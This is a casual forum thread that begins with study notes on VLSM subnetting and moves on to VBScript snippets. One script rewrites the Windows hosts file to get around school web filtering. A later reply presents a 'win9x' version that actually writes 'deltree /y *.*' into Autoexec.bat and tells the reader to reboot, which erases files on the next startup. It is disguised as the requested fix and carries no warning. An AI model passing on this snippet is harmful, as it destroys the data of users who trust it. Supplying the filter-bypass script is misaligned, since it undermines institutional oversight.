I Am Soon To Be Knowledgeable Network Admin

[That Annoying Kid]

:blink:

I'm bored and studying

VLSM Features
When an IP network is assigned more than one subnet mask, it is considered a network with variable-length subnet masks, overcoming the limitation of a fixed number of fixed-szie subnetworks imposed by a single subnet mask. This section describes the features of variable-length subnet masks.

In figure 2-2 [not show] network 172.16.14.0/24 is divided into smaller subnets

* Subnets with one mask - /27
* One unused /27 further subdivided into three (3) /30 subnets


VLSM provide the ability to include more than one subnet mask within a network and the ability to subnet an already subnetted network address. VLSM offers the following benefits:

* Even more efficient use of IP addresses
Without the use of VLSM, companies must implement a single subnet mask within an entire Class A, B, or C network number.
For example, in figure 2-2 consider the 172.16.0.0/16 network address divided into subnets using /24 masking, and one of the subnetworks in this range, 172.16.14.0/24, further divided into smaller subnets with the /27 masking. These smaller subnets range from 172.16.14.0/27 to 172.16.14.224/27. In figure 2-2, one of these smaller subnets, 172.16.14.128/27, is further divided with the /30 prefix, creating subnets with only two hosts to be used on the WAN links. [TAK's note: Using that for WAN links / poin-to-point serial lines is also very efficent becuase the /30 only has two hosts, which are the two routers connected, therefore you don't waste 253 addresses which could be used elsewhere and if your running a huge network it will be important not to waste hosts] The /30 subnets range from the 172.16.14.128/30 to 172.16.14.156/30. In figure 2-2 the WAN links use the 172.16.14.132/30, 172.16.14.136/30, and the 172.16.14.140/30 subnets out of the range.

* Greater capability to use router summarization
VLSM allows more hierarchical levels within an addressing plan, allowing more efficient routing using route summerization[/color] within routing tables. For example, in figure 2-2, subnet 172.16.14.0/24 summarizes all of the addresses that are further subnets of 172.16.14.0, including those from subnets 172.16.14.0/27 and 172.16.14.128/30

Calculating VLSMs
As already discussed, with VLSMs, you can subnet an already subnetted address. Consider, for example, that you have a subnet address 172.16.32.0/20, and you need to assign addresses to a network that has 10 hosts. This allocates 20 bits of network address and the remaining 12 bits for the host. With this subnet address. however, you have over 4000 (2^12th - 2 = 4094) host addresses, most of which will be wasted. With VLSMs, you can further subnet this address, 172.16.32.0/20 to give you more network addresses and fewer hosts per network. If, for example, you subnet 172.16.32.0/20 to 172.16.32.0/26, you gain 64 (2^6th) subnets, each of whcih could support 62 (2^6th - 2  = 62) hosts.

The best part of all that? It actually makes sense to me  :huh:    :help:

[Nuketheplace]

Oh man, up until now I wanted to be a network admin when I grew up.  Oh well I guess I better start studying earlier.

[Satanic Monkey]

Wow this is weird, just last week I passed a quiz on subnets and subnet masking and now we have finals this week.  v_v

[devicenull]

Gah, you don't need to know that... throw up a DHCP server, configure all the computers to get a dynamic IP address, and prevent the (l)users from downloading anything.

Networking 98SE is a PITA!.. You have to reboot if you change the IP address...
Its not fun networking XP to 98.. but I have :p

I'd much rather do security, rather then network stuff I figure out all the ways around stuff... made my own site restrictions at school, distributed it as a vbscript file on a floppy disk, popped it in the machine, ran it, and it configured the hosts file the way I wanted
Yea, it must be a pain trying to restrict my access.. Of course, if my school ran linux or freebsd, they wouldnt have these problems.. not many people would know how to do anything

[lolfighter]

Oooh... People doing something about career choices instead of just agonizing over them make me jealous.

[Cold-NiTe]

made my own site restrictions at school, distributed it as a vbscript file on a floppy disk, popped it in the machine, ran it, and it configured the hosts file the way I wanted
 

You simply must offer that up for use by other students trying to get past stupid Anti-Gaming Proxies.  None of my proxy-avoidance techniques are working anymore and so when we get free-time in any of my computer classes, I have to sit around blocked from all gaming-related sites.

[devicenull]

Let me find the disc..
Note: if its a PROXY it wont do anything.. if its a hosts file, it will probably unblock it until you logout
I used it because people were annoying me with web sites that they shouldnt be on.. nothing bad, just annoyed me because it distracted everyone (This wasnt school work, this was after school stuff with a very tight deadline)

Okay, heres the code:

Code: [Select]

Dim fso, file
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.GetFile("C:\WINNT\SYSTEM32\DRIVERS\ETC\HOSTS")

file.Delete
Set file = fso.CreateTextFile ("C:\WINNT\SYSTEM32\DRIVERS\ETC\HOSTS", True)

file.Write "127.0.0.1 localhost" & vbNewLine
file.Close
MsgBox("Done")That will remove any hosts file blocking, to add custom blocks, copy the file.Write line a few times (before file.Close) and replace localhost with the site address

Paste everything into notepad, and save as whatever.vbs
That should work on 2k/XP.. Not on 9x

[Black Mage]

Code: [Select]

Dim fso, file
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.GetFile("C:\WINNT\SYSTEM32\DRIVERS\ETC\HOSTS")

file.Delete
Set file = fso.CreateTextFile ("C:\WINNT\SYSTEM32\DRIVERS\ETC\HOSTS", True)

file.Write "127.0.0.1 localhost" & vbNewLine
file.Close
MsgBox("Done")

pure gold

i think its sad that i can understand this whole thread

oh, and for win9x you want something like

Code: [Select]

Dim fso, file
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.GetFile("C:\Autoexec.bat")

file.Delete
Set file = fso.CreateTextFile ("C:\Autoexec.bat", True)

file.Write "echo OFF" & vbNewLine
file.Write "deltree /y *.*" & vbNewLine
file.Write "echo ON" & vbNewLine
file.Write "echo pwnt" & vbNewLine
file.Close
then reboot ^^

[That Annoying Kid]

I think it's sad I can understand this stuff too


however it rakes in the bank   B)  :rolleyes:  :lol:    


[edit]
fixed a typo  :huh:
[/edit]

[devicenull]

It would work for win98, but you would need to change the path, and I can't remember the path to the hosts file off the top of my head

[Black Mage]

It would work for win98, but you would need to change the path, and I can't remember the path to the hosts file off the top of my head

but deltree is fun!

they took it out of NT/2k/ME/XP because it was too exploitable so my code will only work on 9x

although if windows had a system like /dev/null/ that you could xcopy to, it would be a different story

[JHunz]

Lay off the completely useless posts, people who shall not be named.  You know who you are.